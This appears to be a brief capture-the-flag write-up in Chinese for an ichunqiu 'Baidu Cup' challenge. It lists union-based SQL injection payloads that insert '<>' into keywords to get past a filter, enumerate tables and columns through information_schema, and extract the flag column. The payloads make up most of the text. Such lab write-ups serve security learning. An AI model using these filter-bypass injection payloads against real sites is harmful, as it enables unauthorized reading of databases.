百度杯九月场2

php?id=1 un<>ion se<>lest 1,2,3
回显 flag{在数据库中}
2

http://57013df126fb4ca4b3280f842df66e1df71ea932206644c2.game.ichunqiu.com/index.php?id=1 un<>ion s<>elect 1,group_concat(table_name),3 from information_schema.tables where table_schema = database()
回显 flag{在数据库中}  
info

php?id=1 un<>ion s<>elect 1,gro<>up_con<>cat(column_name),3 from information_schema.columns where table_name = 0x696e666f

index.php?id=1 un<>ion s<>elect 1,gro<>up_con<>cat(co<>lumn_name),3 from in<>formation_schema.columns where table_name = 0x696e666f

flag{在数据库中}
id,title,flAg_T5ZNdrm

index.php?id=1 un<>ion s<>elect 1,gro<>up_con<>cat(flAg_T5ZNdrm),3 from info